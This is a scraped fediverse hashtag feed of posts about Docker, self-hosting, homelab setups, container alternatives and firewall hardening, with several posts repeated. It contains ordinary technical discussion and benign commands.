Hashtag

#Docker

335 posts tagged with this hashtag.

@stuartl@longlandclan.id.au

Silly question of the folk… I know some of the BSD kernels (notably , and once upon a time, ) were capable of Linux syscall emulation, meaning they could run Linux applications.

Is this still the case, and if so, does it extend to containerisation like ? Platforms of interest would be `x86-64` and `aarch64`.

kb.shells.com/tutorials/NetBSD seems to suggest it was at least at one point, a thing, but the link to the Docker download site is a 404.

kb.shells.com

Docker on NetBSD - Shells KB

Step-by-step guide to install Docker on NetBSD. Complete tutorial with commands and configuration.

@tylersticka@social.lol

Question for and/or folks from an extremely new user of both on my home NAS…

How do I get one docker container to access `https://*.*.ts.net` URLs served by another?

I have one container serving Forgejo, works great! But my Renovate container will only resolve the local or Tailscale IP, not the fancy MagicDNS URL. (Which would be fine if it never needed to follow nicer URLs returned by the Forgejo API.)

Setting the container’s network to that of the Forgejo Tailscale server enables access to the server’s port, but not the nice URL. 🤷

**Update:** Solved! social.lol/@tylersticka/116767

social.lol

Tyler Sticka (@tylersticka@social.lol)

Figured it out! 🎉 Needed to add Tailscale's MagicDNS to the server config: https://github.com/tailscale/tailscale/issues/14467#issuecomment-3715457739

@tylersticka@social.lol

Question for and/or folks from an extremely new user of both on my home NAS…

How do I get one docker container to access `https://*.*.ts.net` URLs served by another?

I have one container serving Forgejo, works great! But my Renovate container will only resolve the local or Tailscale IP, not the fancy MagicDNS URL. (Which would be fine if it never needed to follow nicer URLs returned by the Forgejo API.)

Setting the container’s network to that of the Forgejo Tailscale server enables access to the server’s port, but not the nice URL. 🤷

**Update:** Solved! social.lol/@tylersticka/116767

social.lol

Tyler Sticka (@tylersticka@social.lol)

Figured it out! 🎉 Needed to add Tailscale's MagicDNS to the server config: https://github.com/tailscale/tailscale/issues/14467#issuecomment-3715457739

@blablalinux@mastodon.blablalinux.be

Envie d'une expérience ultra légère et stylée ?

Je viens de déployer sur mes services ! C'est le client web minimaliste parfait pour discuter sans superflu

👉 Testez-le ici : cinny.blablalinux.be
⚙️ Vous voulez l'auto-héberger ? Voici mon snippet complet : bytestash.blablalinux.be/s/afd

Envie de découvrir tout mon écosystème ? C'est par ici : blablalinux.be/mes-services-pu

À très vite sur Matrix !

@yehor@mastodon.glitchy.social

I have up and running again. This time it's not in . I installed it from source, but created a systemd service for each of the components. It just works and even imported my trails from . I made two of them available publicly: wanderer.glitchy.social/trails

The federation is not working properly. You can see my profile here: @yehor@wanderer.glitchy.social, but without trails. Also, you can try to follow me there, but the request goes somewhere into the void.

wanderer.glitchy.social

Trails | wanderer

@alexanderniki@techhub.social

There is something I still can't get about . It's the trend to distribute even small simple scripts or apps as containers.

There are definitely some cases when we have to distribute, deploy and run large complex software. And those cases are completely understandable and Docker (or any other containerisation) is good for it.

But when I see, let's say, a simple tool distributed as a container, I see the same problem as with but even worse. Instead of running a browser, here we have to run almost whole operating system in a sandbox wich is almost like a virtual machine.

To me it looks like an insane overkill and overengineering.

@brennan@social.lol

Homelab For the Beginner: You Can Self-host Your Own Server on $50 Hardware | 🔗 brennan.day/homelab-for-the-be

-hosting

A Beszel server monitoring dashboard showing the
ALT text

A Beszel server monitoring dashboard showing the

An Uptime Kuma monitoring dashboard on a dark background listing eleven services with their uptime percentages and green bar history indicators: Archive (99.31%), Backup (99.38%), Blog (100%), Café (99.65%), Deploy (97.57%), Files (99.44%), Logs (99.65%), Monitor (99.72%), RSS (99.74%), Social (99.84%), and Wiki (99.79%). All bars are fully green, indicating no recent downtime.
ALT text

An Uptime Kuma monitoring dashboard on a dark background listing eleven services with their uptime percentages and green bar history indicators: Archive (99.31%), Backup (99.38%), Blog (100%), Café (99.65%), Deploy (97.57%), Files (99.44%), Logs (99.65%), Monitor (99.72%), RSS (99.74%), Social (99.84%), and Wiki (99.79%). All bars are fully green, indicating no recent downtime.

@brennan@social.lol

Homelab For the Beginner: You Can Self-host Your Own Server on $50 Hardware | 🔗 brennan.day/homelab-for-the-be

-hosting

A Beszel server monitoring dashboard showing the
ALT text

A Beszel server monitoring dashboard showing the

An Uptime Kuma monitoring dashboard on a dark background listing eleven services with their uptime percentages and green bar history indicators: Archive (99.31%), Backup (99.38%), Blog (100%), Café (99.65%), Deploy (97.57%), Files (99.44%), Logs (99.65%), Monitor (99.72%), RSS (99.74%), Social (99.84%), and Wiki (99.79%). All bars are fully green, indicating no recent downtime.
ALT text

An Uptime Kuma monitoring dashboard on a dark background listing eleven services with their uptime percentages and green bar history indicators: Archive (99.31%), Backup (99.38%), Blog (100%), Café (99.65%), Deploy (97.57%), Files (99.44%), Logs (99.65%), Monitor (99.72%), RSS (99.74%), Social (99.84%), and Wiki (99.79%). All bars are fully green, indicating no recent downtime.

@irfan@sakurajima.social

I've self-hosted my own server for a while now and it's been such a freaking delight to work with, and gives me some relief that my code/ repos have a place outside of . When I started this however, I couldn't fully migrate everything I had to Forgejo - as some were still tied to GitHub's actions and their hosted runners. Before I could migrate them, I'd need to set up runners of my own on the Forgejo server.

Seeing GitHub's rapid deterioration lately, I resumed my search on setting up runners on Forgejo the
right way, and was initially under the impression that it's gonna be complicated... but as it turns out, it really isn't. I set up a simple runner on a remote I had using (Compose) and it was ready to go. Porting my actions/workflows files were super easy too, unlike doing the same for something like . Now all of my repos that were on GitHub and had some CI/CD set up have been migrated to my Forgejo server, using my own runners.

I've updated my
Wiki topic on Forgejo to include the optional step to set up a Forgejo runner. If you're now only considering deploying Forgejo, feel free to check out the rest of the topic which covers the complete setup, some basic recommended configurations, and even how to migrate your repos to Forgejo and set up push mirroring so they still exist on GitHub (if you choose to).

🔗 https://github.com/irfanhakim-as/homelab-wiki/blob/master/topics/forgejo.md#forgejo-runner

github.com

homelab-wiki/topics/forgejo.md at master · irfanhakim-as/homelab-wiki

Wiki about everything Homelab. Contribute to irfanhakim-as/homelab-wiki development by creating an account on GitHub.

@rgs@metasocial.com

Do you want to stop compose from advertising their new features (like "docker ai") every time you run a command in your terminal? Put this in your shell startup file:
export DOCKER_CLI_HINTS=false
Obviously, this kind of anti-entishittification counter-measure is under-documented. HTH HAND

@phileas@infosec.exchange

did u know, can now run images natively, kinda

it's really nice

just needs two commands:

sudo importctl --class=machine pull-oci docker.io/library/alpine:latest alpine

sudo systemd-nspawn -M alpine /usr/bin/env sh -l

thank you @pid_eins, I've spent several days/weeks in the past implementing this myself with hoops calling system-nspawn with my own docker layer overlayfs/bindmounts. Really hyped replacing this with that work.

@phileas@infosec.exchange

did u know, can now run images natively, kinda

it's really nice

just needs two commands:

sudo importctl --class=machine pull-oci docker.io/library/alpine:latest alpine

sudo systemd-nspawn -M alpine /usr/bin/env sh -l

thank you @pid_eins, I've spent several days/weeks in the past implementing this myself with hoops calling system-nspawn with my own docker layer overlayfs/bindmounts. Really hyped replacing this with that work.

@phileas@infosec.exchange

did u know, can now run images natively, kinda

it's really nice

just needs two commands:

sudo importctl --class=machine pull-oci docker.io/library/alpine:latest alpine

sudo systemd-nspawn -M alpine /usr/bin/env sh -l

thank you @pid_eins, I've spent several days/weeks in the past implementing this myself with hoops calling system-nspawn with my own docker layer overlayfs/bindmounts. Really hyped replacing this with that work.

@johanneskastl@digitalcourage.social

Kaniko has been archived by Google last year. Chainguard forked the repository, but does not publish images (for free).

github.com/GoogleContainerTool
github.com/chainguard-forks/ka

What is everyone using for their image builds inside containers (as a drop-in replacement, I know about apko and other tools)?

github.com

GitHub - chainguard-forks/kaniko: Build Container Images In Kubernetes

Build Container Images In Kubernetes. Contribute to chainguard-forks/kaniko development by creating an account on GitHub.

@konrad@fosstodon.org

⭐ New release available as image maintained by

github.com/diva-exchange/i2p/r based on i2pd v2.60.0.

🙏 to the @i2p , the i2pd dev team and @social .

More about "I2P for Everyone" here: diva.exchange/en/privacy/how-t

I2P is a fully distributed network granting complete privacy and anonymity (aka ). is a research organisation co-operating with education institutions based in .

A fully distributed network, like I2P, spanning over the globe.
ALT text

A fully distributed network, like I2P, spanning over the globe.

@konrad@fosstodon.org

⭐ New release available as image maintained by

github.com/diva-exchange/i2p/r based on i2pd v2.60.0.

🙏 to the @i2p , the i2pd dev team and @social .

More about "I2P for Everyone" here: diva.exchange/en/privacy/how-t

I2P is a fully distributed network granting complete privacy and anonymity (aka ). is a research organisation co-operating with education institutions based in .

A fully distributed network, like I2P, spanning over the globe.
ALT text

A fully distributed network, like I2P, spanning over the globe.

@jobsfordevelopers@mastodon.world
@dome@social.ztfr.eu

After switching from a native mastodon instance to a more streamlined and resource optimized gotosocial instance I investigated a little bit about its possibilities and found "holesmir" which helps populating active pub content to your instance. Liked the idea but saw some room for improvement, hence forked it and optimized it a little bit (technically and ease of use).

You can now find it here:

https://github.com/Domoel/GTS-Federator

#linux #fediverse #gotosocial #federation #Foss #docker

github.com

GitHub - Domoel/GTS-Federator: A powerful RSS-based discovery engine to populate GoToSocial instances.

A powerful RSS-based discovery engine to populate GoToSocial instances. - Domoel/GTS-Federator

@andrewlock@hachyderm.io

Blogged: Running AI agents with customized templates using docker sandbox

andrewlock.net/running-ai-agen

In this post I describe how to create custom templates for Docker Sandboxes, so that your sandboxes start with additional tools immediately available (like .NET)

andrewlock.net

Running AI agents with customized templates using docker sandbox

In this post I describe how to create custom templates for Docker Sandboxes, so that your sandboxes start with additional tools immediately available

@jobsfordevelopers@mastodon.world
@ozoned@btfree.social
@michabbb@vivaldi.net · Reply to michabbb

No imperative validation in app code. Constraints, foreign keys, check constraints — all declarative in PostgreSQL. No app can corrupt your data. PUT requests are enforced as idempotent.

📦 Installation is simple:
image available. Native binaries for all platforms. Just run postgrest --help and get started. Current version: v14.4. 195 contributors strong.

github.com/postgrest/postgrest

github.com

GitHub - PostgREST/postgrest: REST API for any Postgres database

REST API for any Postgres database. Contribute to PostgREST/postgrest development by creating an account on GitHub.

@andrewlock@hachyderm.io
@cory@follow.coryd.dev
@pandoc@fosstodon.org

Docker images in the pandoc/latex and pandoc/extra repositories have often had missing packages. The reason was the release of TeXLive 2026 and, what appears to be, a moody archive server for TeXLive 2025.
The “latest” images, which contain the newest pandoc 3.9.0.2, come with TeXLive 2026 and should work fine.

Apologies to everybody inconvenienced by this.

@llorenzin@infosec.exchange

gurus! I am considering replacing our old DS1525 with a , mostly because I want to run , , and on it without having to deal with Syno's out-of-date implementation.

If you're running TrueNAS, two questions:

1) how hard was it to get automated backups of and systems set up? I do appreciate Syno's built-in backup tools.

2) how bad an idea would it be to run these compute loads on the NAS vs a separate compute node? We are *not* heavy users - just the two of us and we're pretty casual about home use, so it feels like loads would be pretty minimal...

Any thoughts and suggestions will be greatly appreciated!

@cory@follow.coryd.dev
@yukotan.bsky.social@bsky.brid.gy

開発環境でコンテナ利用している場合でも、もうimageが無事かわからないので latest 運用は危険という話。 安全な image を特定したらdigest で固定したほうが良さそう。 検査済みの安全な image をプライベートリポジトリで運用するのが一番いいんだろうな。 2026年3月Trivyサプライチェーン攻撃とDockerイメージのバージョンピニング - Tech Blog|クリエーションライン www.creationline.com/tech-blog/cl...

2026年3月Trivyサプライチェーン攻撃とDockerイ...

creationline.com

2026年3月Trivyサプライチェーン攻撃とDockerイメージのバージョンピニング #trivy #docker #security - Tech Blog|クリエーションライン

AquaSecurity, d-higuchi, DevOps, Docker, GitLab |はじめに 2026年3月に発生した人気OSSセキュリティスキャナ「Trivy」を標的としたサプライチェーン攻撃により、多くの開発現場に激震が走りました。

@yukotan.bsky.social@bsky.brid.gy

開発環境でコンテナ利用している場合でも、もうimageが無事かわからないので latest 運用は危険という話。 安全な image を特定したらdigest で固定したほうが良さそう。 検査済みの安全な image をプライベートリポジトリで運用するのが一番いいんだろうな。 2026年3月Trivyサプライチェーン攻撃とDockerイメージのバージョンピニング - Tech Blog|クリエーションライン www.creationline.com/tech-blog/cl...

2026年3月Trivyサプライチェーン攻撃とDockerイ...

creationline.com

2026年3月Trivyサプライチェーン攻撃とDockerイメージのバージョンピニング #trivy #docker #security - Tech Blog|クリエーションライン

AquaSecurity, d-higuchi, DevOps, Docker, GitLab |はじめに 2026年3月に発生した人気OSSセキュリティスキャナ「Trivy」を標的としたサプライチェーン攻撃により、多くの開発現場に激震が走りました。

@hovfefe@mastodon.social
@hovfefe@mastodon.social
@erik@straub.social

Did a thing to make #testing against a #redis cluster in #golang a bit easier for myself, but maybe it's useful for others, too.

https://github.com/erkattak/testcontainers-go-redis-cluster

This is a module for #testcontainers that forms a Redis cluster (with various configuration options) and gives an API to stop/pause/restart nodes in a targeted way.

I needed something to emulate issues with service resiliency when doing sharded Pub/Sub with a Redis cluster run in #kubernetes - specifically with rescheduled nodes.

The redis/go-redis package isn't exactly resilient against underlying topology changes when doing Pub/Sub, and in writing code to make it more resilient, I found that it's difficult to create a cluster with testcontainers without a lot of boilerplate or configuration. So I decided to abstract that part away from the real code I'm writing.

I probably just could've installed redis on my local or ensured that it is available in CI, but both already have #docker and we already used testcontainers a bit in other parts of our service.

github.com

GitHub - erkattak/testcontainers-go-redis-cluster

Contribute to erkattak/testcontainers-go-redis-cluster development by creating an account on GitHub.

@erik@straub.social

Did a thing to make #testing against a #redis cluster in #golang a bit easier for myself, but maybe it's useful for others, too.

https://github.com/erkattak/testcontainers-go-redis-cluster

This is a module for #testcontainers that forms a Redis cluster (with various configuration options) and gives an API to stop/pause/restart nodes in a targeted way.

I needed something to emulate issues with service resiliency when doing sharded Pub/Sub with a Redis cluster run in #kubernetes - specifically with rescheduled nodes.

The redis/go-redis package isn't exactly resilient against underlying topology changes when doing Pub/Sub, and in writing code to make it more resilient, I found that it's difficult to create a cluster with testcontainers without a lot of boilerplate or configuration. So I decided to abstract that part away from the real code I'm writing.

I probably just could've installed redis on my local or ensured that it is available in CI, but both already have #docker and we already used testcontainers a bit in other parts of our service.

github.com

GitHub - erkattak/testcontainers-go-redis-cluster

Contribute to erkattak/testcontainers-go-redis-cluster development by creating an account on GitHub.

@MicKet@swiss.social

I'm looking for a community management tool I could

Our Club try to move from Mail to messanger as communication tool.

Our userbase use Whatsapp, ,
The usage is not regulated and not all boardmembers use all tools or wish to do that.

Could someone recommens selfhosting tools for that. I woukd host it on my
At moment I only have on my list. But it could not use Threema and is not exactly for community management.

@selfhosted

@MicKet@swiss.social

I'm looking for a community management tool I could

Our Club try to move from Mail to messanger as communication tool.

Our userbase use Whatsapp, ,
The usage is not regulated and not all boardmembers use all tools or wish to do that.

Could someone recommens selfhosting tools for that. I woukd host it on my
At moment I only have on my list. But it could not use Threema and is not exactly for community management.

@selfhosted

@MicKet@swiss.social

I'm looking for a community management tool I could

Our Club try to move from Mail to messanger as communication tool.

Our userbase use Whatsapp, ,
The usage is not regulated and not all boardmembers use all tools or wish to do that.

Could someone recommens selfhosting tools for that. I woukd host it on my
At moment I only have on my list. But it could not use Threema and is not exactly for community management.

@selfhosted

@Larvitz@burningboard.net

You just provisioned a fresh Linux server. Within minutes, the SSH brute-force bots will arrive.

There are too many ways to build a firewall in Linux. I wrote a practical guide to the four major tools: iptables, nftables, firewalld, and ufw, including their mental models and deployable configs.

Also includes a deep dive into the "Docker Trap" (why Docker silently bypasses your default-deny rules) and how to fix it.

(And yes, I still spend the intro and conclusion reminding everyone that FreeBSD's PF is the undisputed king of packet filtering. Let's argue in the replies.)

Read it here: blog.hofstede.it/linux-firewal

blog.hofstede.it

Linux Firewalls: How to Actually Secure a Cloud Server (iptables, nftables, firewalld, ufw)

A practical guide to the four major Linux firewall technologies - iptables, nftables, firewalld, and ufw. Covers real-world cloud server hardening with concrete examples, from locking down SSH to b...

@Larvitz@burningboard.net

You just provisioned a fresh Linux server. Within minutes, the SSH brute-force bots will arrive.

There are too many ways to build a firewall in Linux. I wrote a practical guide to the four major tools: iptables, nftables, firewalld, and ufw, including their mental models and deployable configs.

Also includes a deep dive into the "Docker Trap" (why Docker silently bypasses your default-deny rules) and how to fix it.

(And yes, I still spend the intro and conclusion reminding everyone that FreeBSD's PF is the undisputed king of packet filtering. Let's argue in the replies.)

Read it here: blog.hofstede.it/linux-firewal

blog.hofstede.it

Linux Firewalls: How to Actually Secure a Cloud Server (iptables, nftables, firewalld, ufw)

A practical guide to the four major Linux firewall technologies - iptables, nftables, firewalld, and ufw. Covers real-world cloud server hardening with concrete examples, from locking down SSH to b...

@gtsadmin@wiseowl.club

Hello everyone, I'm looking to be #Fedihired. I'm looking for #Linux #DevOps work. I have 5 years software industry experience, and a B. Sc, in Computer Science. My resume is on my website, as is linked in my Bio. I'm excellent at #SelfHosting, cloud administration, all things networking, #Wireguard, and infrastructure design. I've been recently doing #infosec consulting; looking for more. I'm a #Canadian. I have lots of experience with technologies like #postgresql, #MariaDB, #nginx, #dns, #ssl, forums, #containers, #docker, etc. Also, recently automating things with #ansible. I'm posting this from my own #gotosocial instance. The #fediverse and #DataSovereignty are things I care about, and I give back to these things.
#Fedihire

@selfhostingsh@mastodon.social

Paperless-ngx deserves more attention.

Scan a physical document → OCR extracts all text → ML suggests tags and correspondents → full-text search across your entire document library.

Pair it with a $50 document scanner and your filing cabinet becomes a searchable database. Every receipt, letter, tax form — indexed and findable in seconds.

One Docker Compose stack. Redis + PostgreSQL + Paperless + Gotenberg (document conversion).

...

@selfhostingsh@mastodon.social

Paperless-ngx deserves more attention.

Scan a physical document → OCR extracts all text → ML suggests tags and correspondents → full-text search across your entire document library.

Pair it with a $50 document scanner and your filing cabinet becomes a searchable database. Every receipt, letter, tax form — indexed and findable in seconds.

One Docker Compose stack. Redis + PostgreSQL + Paperless + Gotenberg (document conversion).

...

@randomdolgok@mastodon.social · Reply to thelocalstack

@ghrasko
Ebben nem értem mi a pláne.
Nekem is a fő szerverem egy és nem függ semmitől.

A jelenleg épülő konstrukció már egy fokkal erősebb, de igazából nem sokkal újabb.

Annyi a különbség, hogy a sok kis laptop hdd-t, ami amúgy 4TB-nyi tárhellyel szolgált, kiváltotta tegnap egy 4TB-s .

A rendszer meghajtója és ennyi.

Fut minden: és még sok webes projekt: például.

(#magyar )

@GandalfDG@indieweb.social

Well it took a whole long weekend of troubleshooting and rebuilding, but once again my is running smoothly. There were a few factors that combined to degrade things to a point where I just needed to examine my whole network and what was running on my machines.

The root turned out to be a network bridge configured with -networkd not playing nicely with docker being installed to run a big compilation job.

Once screwed with the network config things spiralled from there.

A diagram of my network infrastructure. This includes two physical machines on my home network, and my off-site backup box connected via tailscale. 

This diagram was made using FossFlow which is a really nice piece of software that makes pretty isometric diagrams
ALT text

A diagram of my network infrastructure. This includes two physical machines on my home network, and my off-site backup box connected via tailscale. This diagram was made using FossFlow which is a really nice piece of software that makes pretty isometric diagrams

Top Links Ralph Wiggum Explained: Stop Telling AI What You Want — Tell It What Blocks You (Matt Mattei) Testing ads in ChatGPT (OpenAI Team) – And it begins… Strengthening Windows trust and security through User Transparency and Consent (Logan Iyer) AI Doesn’t Reduce Work—It Intensifies It (Simon Willison) How to Set Up Claude Code … Continue reading Dew Drop – February 10, 2026 (#4601)

alvinashcraft.com

Dew Drop – February 10, 2026 (#4601) – Morning Dew by Alvin Ashcraft

Top Links Ralph Wiggum Explained: Stop Telling AI What You Want — Tell It What Blocks You (Matt Mattei) Testing ads in ChatGPT (OpenAI Team) – And it begins… Strengthening Windows trust and security through User Transparency and Consent (Logan Iyer) AI Doesn’t Reduce Work—It Intensifies It (Simon Willison) How to Set Up Claude Code … Continue reading Dew Drop – February 10, 2026 (#4601)

alvinashcraft.com

Dew Drop – February 10, 2026 (#4601) – Morning Dew by Alvin Ashcraft

@mickgeek@social.linux.pizza

Hey there ! It’s been a little while since my last update.

I’ve been heads-down on my issue tracker application, working hard to get the web client finished and by the end of January. As a , taking on an ambitious project like this is definitely a challenge, but I'm making progress!

Is anyone else here or developing software solo? I’d love to hear what your experience has been like!

On the side, I’m planning a major overhaul. I’m moving from a -based HP Elitedesk 800 SFF (i7-7700) with a DAS to an HP Prodesk 600 mini (i7-8700t). The new setup will run in with all media stored on my .

With that i7-8700t, I’m looking forward to better performance for transcoding. What are your thoughts on this hardware move?

@mickgeek@social.linux.pizza

Hello ! Time for a proper .

I’m a hobbyist developer and engineer (outside the tech industry) who loves building tools for education and personal use. I’m currently focused on:

🐍 & – Working through a 30-day library challenge right now!

💻 – Running on my System76 laptop.

🏠 – Managing an setup on a Ugreen DXP2800, plus lots of and tinkering.

🗺️ – Exploring data science projects.

Current Projects:

DITS: A custom issue tracker application.

Devnexus: A lite weight TUI issue and pull request application

mgl_website: My MickGeekLabs.org website and blog

Byte_Board_Blog: My personal blog project.

Pushing code to my local (MickGeekLabs) and GitHub.

When I’m not debugging, I’m likely hanging out with my 16-year-old ginger tabby cat. 🐈

Looking forward to connecting with the , , and community here!

A busy home lab and developer workspace featuring a wooden desk with a laptop on a stand, two monitors, and a mechanical keyboard. To the right, a black wire shelving unit is stacked with networking hardware, including a network switch and a compact two-bay NAS. The setup is filled with visible cabling, a printer, and several tech equipment boxes on the floor, including a DeskPi RackMate box, reflecting a functional and active technical environment.
ALT text

A busy home lab and developer workspace featuring a wooden desk with a laptop on a stand, two monitors, and a mechanical keyboard. To the right, a black wire shelving unit is stacked with networking hardware, including a network switch and a compact two-bay NAS. The setup is filled with visible cabling, a printer, and several tech equipment boxes on the floor, including a DeskPi RackMate box, reflecting a functional and active technical environment.

@otherryn@sunny.garden

As a holiday treat to myself, I got a server through Hetzner's server auction. Now I need to learn how to set up docker stuff on it via command line because I don't think there's a GUI interface I can use.

Anyone have any links that will help someone that hasn't touched a linux system since the days of OS/2 Warp? (Which I know is not linux, but it is going to give the olds an idea of how long it's been.)

@bgme@bgme.me

不知道这算不算是一个

docker run -p 8080:80 [...]
这样不指定 host IP 的端口映射发布默认情况下是不安全的[1],会 bypass 掉主机防火墙规则。

举个例子:
你有一台服务器,你使用 iptables / UFW / firewalld 配置了如下的规则:
eth0 接口只接受 22/tcp、443/tcp、443/udp 入站连接,除此之外拒绝所有其它入站连接。

你运行了上面的命令启动了一个容器,你可能会认为:因为有上面的防火墙规则存在,通过容器映射发布的8080端口是不能被外部访问的。
但你实际端口扫描一下就会发现外部是可以访问8080端口的。
换而言之,-p 8080:80 会 bypass 掉原有的防火墙规则,让所有接口均能访问8080端口。

这并不是新的问题,搜索一下就会发现11年前就有 reddit 网友遇到同样的问题。
Docker will bypass your firewall by default.
reddit.com/r/docker/comments/2

当然更有博文介绍解决方法:
How to Fix Docker Bypassing Firewall: A Complete Guide
bitdoze.com/docker-bypasses-fi

最后的最后,配置完服务器之后,一定一定要在外部对服务器做一个全端口的扫描,看看是不是不小心开放了不打算开放的端口。

[1] Port publishing and mapping | Docker Docs
docs.docker.com/engine/network

docs.docker.com

Port publishing and mapping

Accessing container ports

@pandoc@fosstodon.org · Reply to pandoc

The freshly baked Docker images for pandoc 3.8.3 are on Docker Hub and in GitHub Container Registry.
Changes: The build-process for those images has been simplified thanks to the new arm64 binaries available for pandoc-crossref. Also, the images now ship with the latest version, Typst 0.14.0.

hub.docker.com/u/pandoc

hub.docker.com

pandoc

Discover official Docker images from pandoc, an Open Source publisher on Docker Hub. Visit their profile and explore images they maintain.

@writefreely@writing.exchange
@writefreely@writing.exchange
@rincewind@unseen-university.social
@elena@aseachange.com

The 🐈​ is out of the 👜​:

My Ghost blog is now federated – @ele – thanks to the wonderful Magic Pages (@hey) by @jannis@jannis.io.

My latest post, which also mentions some of my self-hosting exploits from this past year:

🔗​: https://blog.elenarossini.com/the-rebellion-will-be-federated-2025-edition/

This is what I referred to when I said that "I got a big blue whale off my back" a few days ago. I don't have to worry about #Docker anymore, as I put my blog in the expert hands of Jannis at Magic Pages. My big lesson from this year has been: self-hosting is empowering and a lot of fun... but sometimes it makes more sense to turn to experts and pay them to manage your essential stuff. Like in this case.

And I will be saving money too (it's a lot cheaper than paying for a basic plan at Mailgun + my VPS). I'm just so relieved. And Ghost v6 is incredible. I will write more about this soon...

#blog #Ghost #MySoCalledSudoLife

@crazy2bike@fediworld.de

Derzeit habe ich einen mt , der aktuell noch reicht, aber perspektivisch nicht mehr ausreichen wird.

Aus Kosten-, Effizienz- und Nachhaltigkeitsgründen (
, ) würde ich ggf. auf einen wechseln.

Das
ist kein Problem. wie oder , wie , oder nativ auf dem Server auch nicht.

Wo ich mir unsicher bin ist beim Thema
. Es wäre fatal, wenn ich das für Anwendung x installieren will, und es dieses Dockerimage nicht für arm64 gibt. Ich habe nicht die Zeit und Lust, auch noch Dockerimages selbst zu kompilieren.

Derzeit habe ich
, , und mit dem , und Synapseadmin-Container als Docker laufen - jede Umgebung jeweils mit Postgres-Container.

Collabora und Peertube gibt's für arm64, Postges ebenfalls. Bei Sharkey habe ich nicht kapiert, ob "Still not working on arm64 environment." inzwischen zuverlässig behoben ist.

Bei Element-Web habe ich (hier
https://hub.docker.com/r/vectorim/element-web/) gar keine Info zu arm64 gefunden und deshalb erst mal für die anderen Container auch nicht weiter gesucht.

Wer hat Erfahrungen mit arm64 Servern und Docker?

Wer kann mir sagen, ob Sharkey und die Matrix-Docker-Umgebung für arm64 angeboten wird - und auch wie die x86 Version zuverlässig läuft?

@benpocalypse@mastodon.social

I genuinely hate Docker and this whole wave of containerization that's taken over every facet of software development. Too confused to learn something? Just download the image from Docker Hub, follow the one line of instructions, and then you're set!

Reality: when something goes sideways, and it will, you will have no idea how to triage and troubleshoot it.

Don't be afraid to learn the bare metal...it's nice and cozy in here.

@fox@social.hostnetwork.xyz

just made my own fully working mitra docker image and like all my docker images it only requires its own dockerfile. And the best part is that it uses less space then bleakfuture0/mitra:latest

you can now get it at git.fjox.win/fjox/mitra:test

@fox@social.hostnetwork.xyz

just made my own fully working mitra docker image and like all my docker images it only requires its own dockerfile. And the best part is that it uses less space then bleakfuture0/mitra:latest

you can now get it at git.fjox.win/fjox/mitra:test

@pandoc@fosstodon.org

Docker images for pandoc 3.8.2.1 are now available on Docker Hub and the GitHub Container Registry.
New for this release: bookworm is now supported as a new choice for the base stack, making it an alternative to Alpine, Ubuntu, and static binaries.

This post of mine is just a week old and I've already sent it to three people in reply to their questions about how to do exactly that.

And I'm using it now as a reference to implement the same on another project.

So, I figured I might link to it again for those who have missed it somehow:)

dev.to/justlig/podman-on-gitla

dev.to

Podman on GitLab CI: Fast, Efficient Container Builds — No DinD Required

If you’re still relying on Docker-in-Docker (DinD) for container builds in GitLab CI, there’s a...

@tikhonov_a@mastodon.social

I tried out an alternative to Desktop on mac OS 26 from today. It's basically usable. The good things are that it uses significantly less memory, doesn't require port forwarding, and allows you to access containers from the host using their names if you configure the embedded DNS service with two commands: github.com/apple/container/blo

github.com

container/docs/tutorial.md at main · apple/container

A tool for creating and running Linux containers using lightweight virtual machines on a Mac. It is written in Swift, and optimized for Apple silicon. - apple/container

@danielpetrica@infosec.exchange

🚀 Laravel performance doesn’t have to be limited by PHP’s request model.

In my latest article, I share how combining FrankenPHP, Laravel Octane, and Traefik Labs's Traefik can make your Laravel app truly production-ready — cutting load times from ~60ms to under 6ms per request.

It’s not just about speed: this architecture also improves isolation, process recovery, and deployment simplicity through Docker Compose.

If you want to understand how to move from PHP-FPM to a modern, container-based Laravel setup:

👉 Read here: coz.jp/TGzzQa

danielpetrica.com

Production Laravel Architecture with Traefik and FrankenPHP

A practical guide to deploying a high-performance Laravel stack using Octane, FrankenPHP, and a fully automated Docker Compose workflow.

@danielpetrica@infosec.exchange

🧑‍💻 Tired of manually deploying your Laravel apps?

I’ve built a production-grade deployment flow using Docker Compose + Traefik that automates everything — from pulling new code to building, launching, and optimizing with a single command (bash run.sh).

No more manual restarts, no more “forgot the .env” headaches.

Just reliable, repeatable Laravel deployments — powered by FrankenPHP and Octane.

Check out the full article here:

coz.jp/TGzzQa

danielpetrica.com

Production Laravel Architecture with Traefik and FrankenPHP

A practical guide to deploying a high-performance Laravel stack using Octane, FrankenPHP, and a fully automated Docker Compose workflow.

@yuicho@mstdn.yuicho.net

まじで、Dockerは1コンテナ1プロセスの原則をちゃんと守るとめちゃめちゃ本番環境にも強くて自由度も高い運用ができるのだけど、実際そこが守られてないから開発用基盤みたいなイメージになってる気がする

@elena@aseachange.com

Good morning Fedi friends!

I feel a little bad that I haven't been able to carry out self-hosting experiments for like a month now 😢​

In my defense, I've been busy promoting the Fediverse (this Friday will mark my 3rd podcast interview - with @firesidefedi YAY, after @aprilorg and @podcast). ICYMI I was also in Berlin for #FediDay, where I had the honor to speak. And I've been busy editing foreign-language version of my Fedi promo video. The German one is out now: https://digitalcourage.video/w/thFf16Yt9y8AMFz1k8P6v1 narrated by the amazing Fediverse champion @melaniebartos ❤️​

It's been a fantastic month... but all these activities mean that I have forgotten EVERYTHING about #Docker so I need to go back to the basics and re-watch intro videos. I literally remember nothing, LOL.

I hope you've been doing well and wishing you a great second day of #FediForum (sadly I can't attend because that's when I'm with my little one, after pre-school). Enjoy!

#MySoCalledSudoLife

digitalcourage.video

Das Fediverse-Erklärvideo von Elena Rossini - in deutscher Sprache

Das Fediverse in 4 Minuten erklärt: Schau rein und entdecke eine ganz neue Welt der sozialen Medien – mit Respekt für Privatsphäre, selbstbestimmten Nutzer.innen und ganz ohne Big Tech. Von Elena R...

@niq@norden.social

I have an old laptop laying around and before investing any money into a proper setup I wanted to set it up and toss it into the cabinet with my router. Probably gonna just put on it unless anybody can point out something that might work better?

For now I want to start experimenting with but if I find that it actually becomes useful I would also like to set it up as a NAS later on. Any stack recommendations? Thinking of for now?

@homelab @homelab_de

@arichtman@eigenmagic.net

Trying to work out if it's possible to configure Containerd to set (or the equivalent of) the `--init` flag on container run so `tini` hosts PID 1 and signal handling works properly.

It looks like `--init` does some magic - I can see runc has some PID/FD parameters, but it loooks like CRI doesn't have an escape hatch for any say, arbitrary arguments - even if I did work out the magic.

github.com/kubernetes/cri-api/

Containerd config is even more sparse on the CRI (or at least, the man page is)
github.com/containerd/containe

